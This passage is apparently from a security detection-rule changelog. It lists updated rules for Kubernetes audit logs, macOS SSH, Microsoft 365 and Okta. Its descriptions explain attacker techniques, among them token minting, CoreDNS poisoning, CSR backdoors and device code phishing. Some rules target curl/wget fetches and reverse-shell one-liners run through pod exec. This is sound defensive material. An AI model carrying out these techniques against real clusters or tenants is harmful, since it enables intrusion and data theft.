Secrets from a non-loopback client when the request URI targets cluster-wide secrets or list operations under kube-system or default. Useful for spotting broad secret enumeration from remote clients. | update | 4 + +|<> | Detects the creation of a Kubernetes service account token through the TokenRequest API by a non-system identity. The TokenRequest API allows users and workloads to programmatically generate short-lived tokens for any service account they have create permissions on, without accessing the filesystem or the mounted projected token. Attackers who have gained initial access to a cluster can abuse this API to mint tokens for more privileged service accounts, pivot to cloud provider resources via IRSA/workload identity, or generate long-lived tokens that persist beyond pod termination. Unlike mounted service account tokens which are detectable through file access monitoring, tokens created via the TokenRequest API leave no filesystem footprint, they are only visible in Kubernetes audit logs as a create verb on the serviceaccounts/token subresource. This rule excludes legitimate system components such as the kubelet, kube-controller-manager, and cloud provider managed identities (EKS, AKS, GKE) that routinely create tokens for pod lifecycle management. | update | 2 + +|<> | This rule detects the deletion of Kubernetes events, which can indicate an attempt to cover up malicious activity or misconfigurations. Adversaries may delete events to remove traces of their actions, making it harder for defenders to investigate and respond to incidents. | update | 4 + +|<> | This rule detects potential endpoint enumeration attempts by an anonymous user. An anonymous user is a user that is not authenticated or authorized to access the Kubernetes API server. By looking for a series of failed API requests, on multiple endpoints, and a limited number of documents, this rule can detect automated permission enumeration attempts. This behavior is uncommon for regular Kubernetes clusters. | update | 4 + +|<> | This rule detects potential endpoint enumeration attempts by a single user and source IP address. By looking for a combination of failed/successful API requests across multiple endpoints and a limited number of documents, this rule can detect automated permission enumeration attempts. This behavior is uncommon for regular Kubernetes clusters. | update | 3 + +|<> | Adversaries who land credentials in a cluster—or abuse an over-privileged token—often map the environment before exfiltration or privilege escalation. A practical first pass is to learn where workloads run, how the cluster is partitioned, and what RBAC exists at namespace vs cluster scope. Rapid `get`/`list` traffic across distinct API resource kinds that answer those questions (namespaces, workloads, roles, cluster-wide roles) is a common setup and orientation pattern for both interactive attackers and automated recon scripts. It is less typical for steady-state controllers, which usually touch a narrow set of resources repeatedly. This rule highlights that cross-resource burst from a single client fingerprint within a one-minute bucket so analysts can separate routine automation from potential discovery and permission reconnaissance ahead of follow-on actions. | update | 3 + +|<> | This rule detects when a service account or node attempts to enumerate their own permissions via the selfsubjectaccessreview or selfsubjectrulesreview APIs via an unusual user agent. This is highly unusual behavior for non-human identities like service accounts and nodes. An adversary may have gained access to credentials/tokens and this could be an attempt to determine what privileges they have to facilitate further movement or execution within the cluster. | update | 212 + +|<> | This rule detects attempts to create, update, or patch pods by an anonymous user. An anonymous user is a user that is not authenticated or authorized to access the Kubernetes API server. Creating, updating, or patching pods is a common activity for attackers to gain access to the cluster and execute commands. | update | 4 + +|<> | This rule detects attempts to create resources in Kubernetes clusters that are forbidden by the authorization policy. It specifically looks for creation requests that are denied with a "forbid" decision, indicating that the user or service account does not have the necessary permissions to perform the action. This activity is commonly associated with adversaries attempting to create resources in a Kubernetes environment without proper authorization, which can lead to unauthorized access, manipulation of cluster resources, lateral movement and/or privilege escalation. | update | 4 + +|<> | This rule detects when a forbidden request is made from an unusual user agent in a Kubernetes environment. Adversary tooling may use non-standard or unexpected user agents to interact with the Kubernetes API, which can indicate an attempt to evade detection or blend in with legitimate traffic. In combination with a forbidden request, this behavior can suggest an adversary is attempting to exploit vulnerabilities or misconfigurations in the Kubernetes cluster. | update | 7 + +|<> | Detects pod or attach exec API calls where the decoded request query implies curl or wget fetching an https URL. Attackers with permission to exec into workloads often run one-liners to stage tooling, pull scripts or binaries, or exfiltrate data over HTTPS—activity that should be rare compared to shells, debuggers, or expected health checks. The rule decodes the audit requestURI, reconstructs a readable command string from repeated command parameters, and applies noise filters for common cluster health and OIDC/JWKS endpoints so benign automation is less likely to alert. | update | 3 + +|<> | Flags exec into a pod when the URL-decoded command payload resembles reverse-shell or bind-shell one-liners invocation patterns. Legitimate debug sessions sometimes use similar building blocks, but together these patterns align with post-exploitation interactive access and command-and-control. | update | 3 + +|<> | This rule detects a user attempt to establish a shell session into a pod using the 'exec' command. Using the 'exec' command in a pod allows a user to establish a temporary shell session and execute any process/commands in the pod. An adversary may call bash to gain a persistent interactive shell which will allow access to any data the pod has permissions to, including secrets. | update | 212 + +|<> | Detects modifications to the CoreDNS or kube-dns ConfigMap in the kube-system namespace. These ConfigMaps control cluster DNS resolution for all pods. An attacker who modifies the CoreDNS Corefile can redirect internal service DNS names to attacker-controlled IP addresses, enabling man-in-the-middle attacks against the Kubernetes API server, database services, and other internal endpoints. Pods that resolve service names via cluster DNS will transparently connect to the attacker instead of the legitimate service, allowing interception of service account tokens, database credentials, and API traffic. DNS poisoning at the cluster level is particularly dangerous because it affects every pod in every namespace simultaneously and does not require any modification to the victim workloads. CoreDNS configuration changes are rare in normal operations and any unexpected modification should be investigated immediately. | update | 2 + +|<> | This rule detects when an unauthenticated user request is authorized within the cluster via an unusual user agent. Attackers may attempt to use anonymous accounts to gain initial access to the cluster or to avoid attribution of their activities within the cluster. This rule excludes the /healthz, /livez, /version and /.well-known/oauth-authorization-server endpoints which are commonly accessed anonymously. | update | 14 + +|<> | This rule detects the creation of a RoleBinding or ClusterRoleBinding that grants the cluster-admin ClusterRole, which provides unrestricted access to all Kubernetes resources and represents a high-risk privilege escalation or misconfiguration. | update | 3 + +|<> | This rule detects an attempt to create or modify a service as type NodePort. The NodePort service allows a user to externally expose a set of labeled pods to the internet. This creates an open port on every worker node in the cluster that has a pod for that service. When external traffic is received on that open port, it directs it to the specific pod through the service representing it. A malicious user can configure a service as type Nodeport in order to intercept traffic from other pods or nodes, bypassing firewalls and other network security measures configured for load balancers within a cluster. This creates a direct method of communication between the cluster and the outside world, which could be used for more malicious behavior and certainly widens the attack surface of your cluster. | update | 210 + +|<> | Detects creation, modification, or deletion of Kubernetes MutatingWebhookConfigurations or ValidatingWebhookConfigurations by non-system identities. Admission webhooks intercept every API request matching their rules before persistence, giving an attacker powerful capabilities: injecting malicious sidecars into every new pod via a mutating webhook, blocking security tooling deployments via a validating webhook, or silently exfiltrating pod specifications to an external server. Webhook manipulation is a stealthy persistence and defense evasion technique because the webhook configuration itself looks benign in kubectl output while actively modifying or intercepting all matching Kubernetes API traffic. | update | 3 + +|<> | Detects creation or approval of a Kubernetes CertificateSigningRequest (CSR) by a non-system identity. Attackers who have gained cluster access can submit a CSR with a privileged Common Name such as system:kube-controller-manager or system:masters, then approve it themselves to obtain a long-lived client certificate. Unlike service account tokens which expire in hours, client certificates persist until they expire or the cluster CA is rotated, providing durable access that survives pod termination, token revocation, and RBAC changes. On non-EKS clusters, the signed certificate allows the attacker to authenticate as the privileged identity from anywhere without needing cluster network access, making it one of the most persistent backdoor mechanisms available in Kubernetes. | update | 2 + +|<> | Detects modifications to the aws-auth ConfigMap in Amazon EKS clusters. The aws-auth ConfigMap maps AWS IAM roles and users to Kubernetes RBAC groups, an attacker who modifies it can grant any IAM role cluster-admin access by adding a mapping to the system:masters group. This is a well-documented persistence technique that survives pod restarts, node replacements, and RBAC changes because the authentication mapping exists outside of normal Kubernetes Role objects. Modifications to aws-auth are rare in normal operations, the ConfigMap is typically set during cluster provisioning and updated only during node group or access configuration changes. | update | 2 + +|<> | Detects the creation or modification of Kubernetes Roles or ClusterRoles that grant high-risk permissions, such as wildcard access or RBAC escalation verbs (e.g., bind, escalate, impersonate), which may enable privilege escalation or unauthorized access within the cluster. | update | 5 + +|<> | This rule detects the creation of RoleBindings or ClusterRoleBindings that reference a ServiceAccount, which may indicate privilege delegation or potential RBAC misconfiguration leading to elevated access. | update | 3 + +|<> | Detects non-system identities using the Kubernetes nodes/proxy API to proxy requests through the API server directly to a node's Kubelet. The nodes/proxy subresource allows any principal with this RBAC permission to reach the Kubelet API on any worker node without needing direct network access or Kubelet TLS certificates. Through this proxy path, an attacker can list all pod specifications including environment variable secrets, read Kubelet configuration and PKI material, retrieve container logs, and access running pod metadata across all workloads on the target node. Monitoring and health check endpoints such as /metrics, /healthz, and /stats are excluded to reduce noise from legitimate observability tooling. | update | 2 + +|<> | This rule detects a container deployed with one or more dangerously permissive Linux capabilities. An attacker with the ability to deploy a container with added capabilities could use this for further execution, lateral movement, or privilege escalation within a cluster. The capabilities detected in this rule have been used in container escapes to the host machine. | update | 13 + +|<> | Detects Kubernetes API requests where a user is impersonating a privileged cluster identity such as system:kube-controller-manager, system:admin, system:anonymous, or a member of the system:masters group. These identities have broad cluster-wide permissions including unrestricted access to all secrets, the ability to create tokens for any service account, schedule pods on any node, and modify RBAC policies. An attacker impersonating system:masters gains full cluster-admin equivalent access, while impersonating system:kube-controller-manager grants access to every secret in every namespace and the ability to mint service account tokens for lateral movement. | update | 2 + +|<> | Detects allowed updates to the pods/ephemeralcontainers subresource by a non-system identity. Ephemeral containers are commonly used for debugging (kubectl debug) but can also be abused to inject tooling into a running pod, access mounted secrets, and execute commands in the target pod context. Attackers with sufficient RBAC may use ephemeral containers to escalate privileges, move laterally, or establish persistence without deploying a new workload. | update | 2 + +|<> | This rule detects an attempt to create or modify a pod using the host IPC namespace. This gives access to data used by any pod that also use the hosts IPC namespace. If any process on the host or any processes in a pod uses the hosts inter-process communication mechanisms (shared memory, semaphore arrays, message queues, etc.), an attacker can read/write to those same mechanisms. They may look for files in /dev/shm or use ipcs to check for any IPC facilities being used. | update | 211 + +|<> | This rules detects an attempt to create or modify a pod attached to the host network. HostNetwork allows a pod to use the node network namespace. Doing so gives the pod access to any service running on localhost of the host. An attacker could use this access to snoop on network activity of other pods on the same node or bypass restrictive network policies applied to its given namespace. | update | 211 + +|<> | This rule detects an attempt to create or modify a pod attached to the host PID namespace. HostPID allows a pod to access all the processes running on the host and could allow an attacker to take malicious action. When paired with ptrace this can be used to escalate privileges outside of the container. When paired with a privileged container, the pod can see all of the processes on the host. An attacker can enter the init system (PID 1) on the host. From there, they could execute a shell and continue to escalate privileges to root. | update | 211 + +|<> | This rule detects when a pod is created with a sensitive volume of type hostPath. A hostPath volume type mounts a sensitive file or folder from the node to the container. If the container gets compromised, the attacker can use this mount for gaining access to the node. There are many ways a container with unrestricted access to the host filesystem can escalate privileges, including reading data from other containers, and accessing tokens of more privileged pods. | update | 211 + +|<> | This rule detects when a user creates a pod/container running in privileged mode. A highly privileged container has access to the node's resources and breaks the isolation between containers. If compromised, an attacker can use the privileged container to gain access to the underlying host. Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host. | update | 211 + +|<> | Flags an existing Role or ClusterRole being changed (patch or update) so the effective rules become cluster-admin-like: wildcard on every API resource and wildcard on every verb. That is usually a deliberate privilege expansion, not a typo. RequestResponse audit and the response body are required so the detection reads the merged role after apply; loopback source IPs are ignored. | update | 3 + +|<> | Detects a sequence where a principal creates or modifies a Role/ClusterRole to include high-risk permissions (e.g., wildcard access or escalation verbs) and then creates or patches a workload resource (DaemonSet, Deployment, or CronJob) shortly after, which may indicate RBAC-based privilege escalation followed by payload deployment. This pattern is often used by adversaries to gain unauthorized access to sensitive resources and deploy malicious payloads. | update | 5 + +|<> | Detects the creation or modification of several sensitive workloads, such as DaemonSets, Deployments, or CronJobs, by an unusual user agent, source IP and username, which may indicate privilege escalation or unauthorized access within the cluster. | update | 4 + +|<> | Detects write operations performed by Kubernetes service accounts against RBAC resources (Roles, ClusterRoles, RoleBindings, ClusterRoleBindings). Service accounts typically do not manage RBAC directly; this activity may indicate token abuse, misconfigured permissions, or unauthorized privilege escalation. | update | 4 + +|<> | This rule detects a request to attach a controller service account to an existing or new pod running in the kube-system namespace. By default, controllers running as part of the API Server utilize admin-equivalent service accounts hosted in the kube-system namespace. Controller service accounts aren't normally assigned to running pods and could indicate adversary behavior within the cluster. An attacker that can create or modify pods or pod controllers in the kube-system namespace, can assign one of these admin-equivalent service accounts to a pod and abuse their powerful token to escalate privileges and gain complete cluster control. | update | 13 + +|<> | Identifies a high number of failed inbound SSH authentication attempts on a macOS host within a short time window, using sshd authentication messages collected by the macOS Security Events integration. Adversaries may perform password brute force or password spraying against exposed SSH services to obtain unauthorized access. | update | 3 + +|<> | Identifies a burst of failed inbound SSH authentication attempts on a macOS host followed shortly by a successful SSH authentication on the same host, using sshd authentication messages collected by the macOS Security Events integration. A successful login immediately after repeated failures indicates that a password brute force or password spraying attack against an exposed SSH service has likely succeeded. | update | 2 + +|<> | Detects Azure Monitor alert notification emails with financial or billing themed subject lines delivered to organization users. Adversaries abuse Azure Monitor alert rules to deliver callback phishing emails from Microsoft's legitimate azure-noreply@microsoft.com address. Because the emails originate from Microsoft's own infrastructure, they pass SPF, DKIM, and DMARC checks, bypassing email security filters and increasing victim trust. The attacker embeds a fraudulent billing or security lure in the alert rule description, which is rendered in the notification email body. Observed subject patterns include invoice numbers, payment references, and order confirmations. | update | 3 + +|<> | Identifies an excessive number of Microsoft 365 mailbox items accessed by a user either via aggregated counts or throttling. Microsoft audits mailbox access via the MailItemsAccessed event, which is triggered when a user accesses mailbox items. If more than 1000 mailbox items are accessed within a 24-hour period, it is then throttled. Excessive mailbox access may indicate an adversary attempting to exfiltrate sensitive information or perform reconnaissance on a target's mailbox. This rule detects both the throttled and unthrottled events with a high threshold. | update | 5 + +|<> | Identifies suspicious Microsoft 365 mail access by ClientAppId. This rule detects when a user accesses their mailbox using a client application that is not typically used by the user, which may indicate potential compromise or unauthorized access attempts. Adversaries may use custom or third-party applications to access mailboxes, bypassing standard security controls. First-party Microsoft applications are also abused after OAuth tokens are compromised, allowing adversaries to access mailboxes without raising suspicion. | update | 114 + +|<> | Identifies when a new Inbox forwarding rule is created in Microsoft 365. Inbox rules process messages in the Inbox based on conditions and take actions. In this case, the rules will forward the emails to a defined address. Attackers can abuse Inbox Rules to intercept and exfiltrate email data without making organization-wide configuration changes or having the corresponding privileges. | update | 215 + +|<> | Identifies when an excessive number of files are downloaded from OneDrive or SharePoint by an authorized user or application in a short period of time. This may indicate a potential data exfiltration event, especially if the downloads are performed using OAuth authentication which could suggest an OAuth phishing attack such as Device Code Authentication phishing. | update | 11 + +|<> | Identifies file downloads or access from OneDrive or SharePoint using PowerShell-based user agents. Adversaries may use native PowerShell cmdlets like Invoke-WebRequest or Invoke-RestMethod with Microsoft Graph API to exfiltrate data after compromising OAuth tokens via device code phishing or other credential theft techniques. This rule detects both direct PowerShell access and PnP PowerShell module usage for file operations. FileAccessed events are included to detect adversaries reading file content via API and saving locally, bypassing traditional download methods. Normal users access SharePoint/OneDrive via browsers or sync clients, making PowerShell-based file access inherently suspicious. | update | 6 + +|<> | Identifies attempts to register a new device in Microsoft Entra ID after OAuth authentication with authorization code grant. Adversaries may use OAuth phishing techniques to obtain an OAuth authorization code, which can then be exchanged for access and refresh tokens. This rule detects a sequence of events where a user principal authenticates via OAuth, followed by a device registration event, indicating potential misuse of the OAuth flow to establish persistence or access resources. | update | 5 + +|<> | Identifies brute-force authentication activity targeting Microsoft 365 user accounts using failed sign-in patterns that match password spraying, credential stuffing, or password guessing behavior. Adversaries may attempt brute-force authentication with credentials obtained from previous breaches, leaks, marketplaces or guessable passwords. | update | 420 + +|<> | Detects a burst of Microsoft 365 user account lockouts within a short 5-minute window. A high number of IdsLocked login errors across multiple user accounts may indicate brute-force attempts for the same users resulting in lockouts. | update | 11 + +|<> | Identifies sign-ins on behalf of a principal user to the Microsoft Graph or legacy Azure AD API from multiple IPs using first-party Microsoft applications from the FOCI (Family of Client IDs) group. Developer tools like Azure CLI, VSCode, and Azure PowerShell accessing these resources from multiple IPs are flagged, along with any FOCI application accessing the deprecated Windows Azure Active Directory from multiple IPs. This behavior may indicate an adversary using a phished OAuth authorization code or refresh token, as seen in attacks like ConsentFix where attackers steal localhost OAuth codes and replay them from attacker infrastructure. | update | 10 + +|<> | Identifies the deletion of an anti-phishing policy in Microsoft 365. By default, Microsoft 365 includes built-in features that help protect users from phishing attacks. Anti-phishing polices increase this protection by refining settings to better detect and prevent attacks. | update | 214 + +|<> | Identifies the modification of an anti-phishing rule in Microsoft 365. By default, Microsoft 365 includes built-in features that help protect users from phishing attacks. Anti-phishing rules increase this protection by refining settings to better detect and prevent attacks. | update | 213 + +|<> | Identifies when a DomainKeys Identified Mail (DKIM) signing configuration is disabled in Microsoft 365. With DKIM in Microsoft 365, messages that are sent from Exchange Online will be cryptographically signed. This will allow the receiving email system to validate that the messages were generated by a server that the organization authorized and were not spoofed. | update | 214 + +|<> | Identifies when a Data Loss Prevention (DLP) policy is removed in Microsoft 365. An adversary may remove a DLP policy to evade existing DLP monitoring. | update | 215 + +|<> | Identifies when a Safe Link policy is disabled in Microsoft 365. Safe Link policies for Office applications extend phishing protection to documents that contain hyperlinks, even after they have been delivered to a user. | update | 214 + +|<> | Identifies when a Microsoft Exchange inbox rule is created or modified with a name composed only of special characters. Adversaries may use obfuscated inbox rule names to evade detection, hide malicious forwarding or deletion rules, or blend in with benign audit noise. The rule name is parsed from "o365.audit.ObjectId", which encodes the mailbox identity and rule name separated by a backslash. | update | 3 + +|<> | Detects the occurrence of mailbox audit bypass associations. The mailbox audit is responsible for logging specified mailbox events (like accessing a folder or a message or permanently deleting a message). However, actions taken by some authorized accounts, such as accounts used by third-party tools or accounts used for lawful monitoring, can create a large number of mailbox audit log entries and may not be of interest to your organization. Because of this, administrators can create bypass associations, allowing certain accounts to perform their tasks without being logged. Attackers can abuse this allowlist mechanism to conceal actions taken, as the mailbox audit will log no activity done by the account. | update | 214 + +|<> | Identifies when a malware filter policy has been deleted in Microsoft 365. A malware filter policy is used to alert administrators that an internal user sent a message that contained malware. This may indicate an account or machine compromise that would need to be investigated. Deletion of a malware filter policy may be done to evade detection. | update | 214 + +|<> | Identifies when a malware filter rule has been deleted or disabled in Microsoft 365. An adversary or insider threat may want to modify a malware filter rule to evade detection. | update | 214 + +|<> | Identifies when a user creates a new inbox rule in Microsoft 365 that deletes or moves emails containing suspicious keywords. Adversaries who have compromised accounts often create inbox rules to hide alerts, security notifications, or other sensitive messages by automatically deleting them or moving them to obscure folders. Common destinations include Deleted Items, Junk Email, RSS Feeds, and RSS Subscriptions. This is a New Terms rule that triggers only when the user principal name and associated source IP address have not been observed performing this activity in the past 14 days. | update | 7 + +|<> | Identifies when a safe attachment rule is disabled in Microsoft 365. Safe attachment rules can extend malware protections to include routing all messages and attachments without a known malware signature to a special hypervisor environment. An adversary or insider threat may disable a safe attachment rule to exfiltrate data or evade defenses. | update | 214 + +|<> | Identifies when an MFA enrollment, registration, or security notification email is deleted or moved to deleted items in Microsoft 365 Exchange. Adversaries who compromise accounts and register their own MFA device often delete the notification emails to cover their tracks and prevent the legitimate user from noticing the unauthorized change. This technique is commonly observed in business email compromise (BEC) and account takeover attacks. | update | 4 + +|<> | Identifies when a SharePoint or OneDrive site sharing policy is changed to weaken security controls. The SharingPolicyChanged event fires for many routine policy modifications, but this rule targets specific high-risk transitions where sharing restrictions are relaxed. This includes enabling guest sharing, enabling anonymous link sharing, making a site public, or enabling guest user access. Adversaries who compromise administrative accounts may weaken sharing policies to exfiltrate data to external accounts or create persistent external access paths. | update | 5 + +|<> | Identifies when custom applications are allowed in Microsoft Teams. If an organization requires applications other than those available in the Teams app store, custom applications can be developed as packages and uploaded. An adversary may abuse this behavior to establish persistence in an environment. | update | 215 + +|<> | Identifies when external access is enabled in Microsoft Teams. External access lets Teams and Skype for Business users communicate with other users that are outside their organization. An adversary may enable external access or add an allowed domain to exfiltrate data or maintain persistence in an environment. | update | 215 + +|<> | Identifies search queries in SharePoint containing sensitive terms related to credentials, financial data, PII, legal matters, or infrastructure information. Adversaries who compromise user accounts often search for high-value files before exfiltration. This rule detects searches containing terms across multiple sensitivity categories, regardless of the access method (browser, PowerShell, or API). The actual search query text is analyzed against a curated list of sensitive terms to identify potential reconnaissance activity. | update | 3 + +|<> | Identifies a transport rule creation in Microsoft 365. As a best practice, Exchange Online mail transport rules should not be set to forward email to domains outside of your organization. An adversary may create transport rules to exfiltrate data. | update | 214 + +|<> | Identifies when a transport rule has been disabled or deleted in Microsoft 365. Mail flow rules (also known as transport rules) are used to identify and take action on messages that flow through your organization. An adversary or insider threat may modify a transport rule to exfiltrate data or evade defenses. | update | 214 + +|<> | Identifies when Microsoft Cloud App Security flags potential ransomware activity in Microsoft 365. This rule detects events where the Security Compliance Center reports a "Ransomware activity" or "Potential ransomware activity" alert, which may indicate file encryption, mass file modifications, or uploads of ransomware-infected files to cloud services such as SharePoint or OneDrive. | update | 216 + +|<> | Identifies that a user has deleted an unusually large volume of files as reported by Microsoft Cloud App Security. | update | 214 + +|<> | Detects successful Microsoft 365 portal logins from a country and region the user has not previously authenticated from in a specific time window. Atypical regions are identified by combining the user's country and region geolocation history; an authentication from a new country/region pair for that user may indicate an adversary attempting to access the account from an unusual location or behind a VPN. | update | 13 + +|<> | Detects successful Microsoft 365 portal logins from impossible travel locations. Impossible travel locations are defined as two different countries within a short time frame. This behavior may indicate an adversary attempting to access a Microsoft 365 account from a compromised account or a malicious actor attempting to access a Microsoft 365 account from a different location. | update | 11 + +|<> | Identifies an Microsoft 365 illicit consent grant request on-behalf-of a registered Entra ID application. Adversaries may create and register an application in Microsoft Entra ID for the purpose of requesting user consent to access resources in Microsoft 365. This is accomplished by tricking a user into granting consent to the application, typically via a pre-made phishing URL. This establishes an OAuth grant that allows the malicious client applocation to access resources in Microsoft 365 on-behalf-of the user. | update | 10 + +|<> | Identifies a Microsoft 365 OAuth device code grant ("Cmsi:Cmsi") with application Microsoft Authentication Broker ("29d9ed98-a469-4536-ade2-f981bc1d605e") for Microsoft Graph from a source ASN not previously observed for that user in a historical window. Phishing kits leveraging device code phishing complete the full login (password and MFA) at the genuine Microsoft endpoint and harvest the resulting token by polling, so MFA does not stop them and the authorization commonly originates from attacker-controlled residential proxy or hosting infrastructure rather than the user's normal network. | update | 2 + +|<> | Identifies a Microsoft 365 user completing an OAuth device code grant ("Cmsi:Cmsi") from a non-compliant device for the first time within the rule's historical window, regardless of the requesting application or target resource. Device code phishing kits complete the full login (password and MFA) at the genuine Microsoft endpoint and harvest the resulting token by polling, so MFA does not stop them. Because the victim authorizes the flow in their own browser, the grant is frequently completed on a personal or attacker-controlled device that is not enrolled or compliant with the organization's device policies. A user appearing with this device code flow on a non-compliant device for the first time in the lookback window is a strong early indicator of device code phishing, and removing the application and target constraints catches grants against any first-party application, not just the Microsoft Authentication Broker. | update | 2 + +|<> | Detects potentially suspicious OAuth authorization activity in Microsoft 365 where first-party Microsoft applications from the FOCI (Family of Client IDs) group request access to Microsoft Graph or legacy Azure AD resources. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing these resources are flagged, as they are commonly abused in phishing campaigns like ConsentFix. Additionally, any FOCI family application accessing the deprecated Windows Azure Active Directory resource is flagged since this API is rarely used legitimately and attackers target it for stealth. First-party apps are trusted by default in all tenants and cannot be blocked, making them ideal for OAuth phishing attacks. | update | 7 + +|<> | Identifies a successful login by a user principal through a legacy authenticated client (such as Authenticated SMTP, IMAP, POP, or Exchange ActiveSync) in the Microsoft 365 Unified Audit Log, evidenced by the "BAV2ROPC" user agent. Legacy basic-authentication clients are translated by Entra ID into a Resource Owner Password Credentials (ROPC) grant, a single-factor flow that submits the user's password directly and bypasses interactive multi-factor authentication. This is commonly abused during password spraying and account takeover. | update | 2 + +|<> | Identifies the first occurrence of SSO, SAML, or federated authentication errors for a user. These errors may indicate token manipulation, SAML assertion tampering, or OAuth phishing attempts. Modern adversaries often target SSO mechanisms through token theft, SAML response manipulation, or exploiting federated authentication weaknesses rather than traditional brute force attacks. | update | 216 + +|<> | Identifies when a user has been restricted from sending email due to exceeding sending limits of the service policies per the Security Compliance Center. | update | 214 + +|<> | Identifies a one-on-one Microsoft Teams chat created by a user from a foreign tenant whose display name, member profile, or email local-part resembles IT help desk or Microsoft security staff. Adversaries abuse cross-tenant Teams external access to impersonate support personnel and socially engineer victims into granting remote access or disclosing credentials. | update | 3 + +|<> | Detects Microsoft 365 audit "UserLoggedIn" events consistent with Tycoon 2FA phishing-as-a-service (PhaaS) adversary-in-the-middle (AiTM) activity: the Microsoft Authentication Broker requesting access where the object identifier matches Microsoft Graph or Exchange Online, or the Office web client application authenticating to itself, combined with Node.js-style user agents (node, axios, undici). Tycoon 2FA bypasses MFA by relaying authentication and capturing session material, often targeting Microsoft 365 and Gmail. Baseline legitimate automation and developer tooling before tuning. | update | 2 + +|<> | Identifies the occurrence of files uploaded to OneDrive being detected as Malware by the file scanning engine. Attackers can use File Sharing and Organization Repositories to spread laterally within the company and amplify their access. Users can inadvertently share these files without knowing their maliciousness, giving adversaries an opportunity to gain initial access to other endpoints in the environment. | update | 214 + +|<> | Identifies the occurrence of files uploaded to SharePoint being detected as Malware by the file scanning engine. Attackers can use File Sharing and Organization Repositories to spread laterally within the company and amplify their access. Users can inadvertently share these files without knowing their maliciousness, giving adversaries opportunities to gain initial access to other endpoints in the environment. | update | 214 + +|<> | Identifies when the Microsoft 365 Global Administrator or Company Administrator role is assigned to a user or service principal. The Global Administrator role has extensive privileges across Entra ID and Microsoft 365 services, making it a high-value target for adversaries seeking persistent access. Successful assignments of this role may indicate potential privilege escalation or unauthorized access attempts, especially if performed by accounts that do not typically manage high-privilege roles. | update | 216 + +|<> | Identifies when a new role is assigned to a management group in Microsoft 365. An adversary may attempt to add a role in order to maintain persistence in an environment. | update | 214 + +|<> | Identifies the assignment of rights to access content from another mailbox. An adversary may use the compromised account to send messages to other accounts in the network of the target organization while creating inbox rules, so messages can evade spam/phishing detection mechanisms. | update | 215 + +|<> | Identifies when guest access is enabled in Microsoft Teams. Guest access in Teams allows people outside the organization to access teams and channels. An adversary may enable guest access to maintain persistence in an environment. | update | 215 + +|<> | Identifies a new or modified federation domain, which can be used to create a trust between O365 and an external identity provider. | update | 215 + +|<> | Identifies when a new SharePoint Site Administrator is added in Microsoft 365. Site Administrators have full control over SharePoint Sites, including the ability to manage permissions, access all content, and modify site settings. Adversaries who compromise a privileged account may add themselves or a controlled account as a Site Administrator to maintain persistent, high-privilege access to sensitive SharePoint data. This technique was notably observed in the 0mega ransomware campaign, where attackers elevated privileges to exfiltrate data and deploy ransom notes across SharePoint sites. | update | 3 + +|<> | Detects attempts to bypass Okta multi-factor authentication (MFA). An adversary may attempt to bypass the Okta MFA policies configured for an organization in order to obtain unauthorized access to an application. | update | 416 + +|<> | Identifies when an Okta user account is locked out 3 times within a 3 hour window. An adversary may attempt a brute force or password spraying attack to obtain unauthorized access to user accounts. The default Okta authentication policy ensures that a user account is locked out after 10 failed authentication attempts. | update | 418 + +|<> | Detects when Okta user authentication events are reported for multiple users with the same device token hash behind a proxy. | update | 213 + +|<> | This rule detects when a specific Okta actor has multiple device token hashes and multiple source IPs for a single Okta session. This may indicate an authenticated session has been hijacked or replayed from a different device and network. Adversaries may steal session cookies or tokens to gain unauthorized access to Okta admin console, applications, tenants, or other resources. | update | 312 + +|<> | Identifies when a single Okta device token hash (dt_hash) is associated with multiple operating system types. This is highly anomalous because a device token is tied to a specific device and its operating system. This alert strongly indicates that an attacker has stolen a device token and is using it to impersonate a legitimate user from a different machine. | update | 2 + +|<> | Detects potential Adversary-in-the-Middle (AiTM) session cookie replay attacks against Okta. This rule identifies when an Okta session is used from multiple IP addresses or with suspicious non-browser user agents after initial authentication. AiTM attacks capture session cookies via phishing proxies (e.g., Evilginx, Modlishka) and replay them from attacker infrastructure, bypassing MFA. The detection correlates session start events with subsequent policy evaluations or SSO attempts that occur from different IPs or programmatic user agents. | update | 4 + +|<> | Detects when a high number of Okta user authentication events are reported for multiple users in a short time frame. Adversaries may attempt to launch a credential stuffing or password spraying attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts. | update | 213 + +|<> | Detects potential brute force attacks against a single Okta user account where excessive unique device token hashes are generated, indicating automated tooling that fails to persist browser cookies between attempts. | update | 213 + +|<> | Detects potential brute force attacks against a single Okta user account from multiple source IPs, indicating attackers rotating through proxy infrastructure to evade IP-based detection. | update | 4 + +|<> | Detects potential credential stuffing attacks where a single source IP attempts authentication against many Okta user accounts with minimal attempts per user, indicating the use of breached credential lists. | update | 212 + +|<> | Detects when an attacker abuses the Multi-Factor authentication mechanism by repeatedly issuing login requests until the user eventually accepts the Okta push notification. An adversary may attempt to bypass the Okta MFA policies configured for an organization to obtain unauthorized access. | update | 214 + +|<> | Detects potential password spray attacks where multiple source IPs target multiple Okta user accounts within a time window, indicating coordinated attacks using IP rotation to evade single-source detection. | update | 4 + +|<> | Detects potential password spray attacks where a single source IP attempts authentication against multiple Okta user accounts with repeated attempts per user, indicating common password guessing paced to avoid lockouts. | update | 419 + +|<> | Detects when an attacker abuses the Multi-Factor authentication mechanism by repeatedly issuing login requests until the user eventually accepts the Okta push notification. An adversary may attempt to bypass the Okta MFA policies configured for an organization to obtain unauthorized access. | update | 420 + +|<> | Correlates Okta credential attack alerts with subsequent successful authentication for the same user account, identifying potential compromise following brute force, password spray, or credential stuffing attempts. | update | 4 + +|<> | A user has initiated a session impersonation granting them access to the environment with the permissions of the user they are impersonating. This would likely indicate Okta administrative access and should only ever occur if requested and expected. | update | 417 + +|<> | Detects attempts to deactivate an Okta network zone. Okta network zones can be configured to limit or restrict access to a network based on IP addresses or geolocations. An adversary may attempt to modify, delete, or deactivate an Okta network zone in order to remove or weaken an organization's security controls. | update | 416 + +|<> | Detects attempts to delete an Okta network zone. Okta network zones can be configured to limit or restrict access to a network based on IP addresses or geolocations. An adversary may attempt to modify, delete, or deactivate an Okta network zone in order to remove or weaken an organization's security controls. | update | 415 + +|<> | Identifies a failed OAuth 2.0 token grant attempt for a public client app using client credentials. This event is generated when a public client app attempts to exchange a client credentials grant for an OAuth 2.0 access token, but the request is denied due to the lack of required scopes. This could indicate compromised client credentials in which an adversary is attempting to obtain an access token for unauthorized scopes. This is a [New 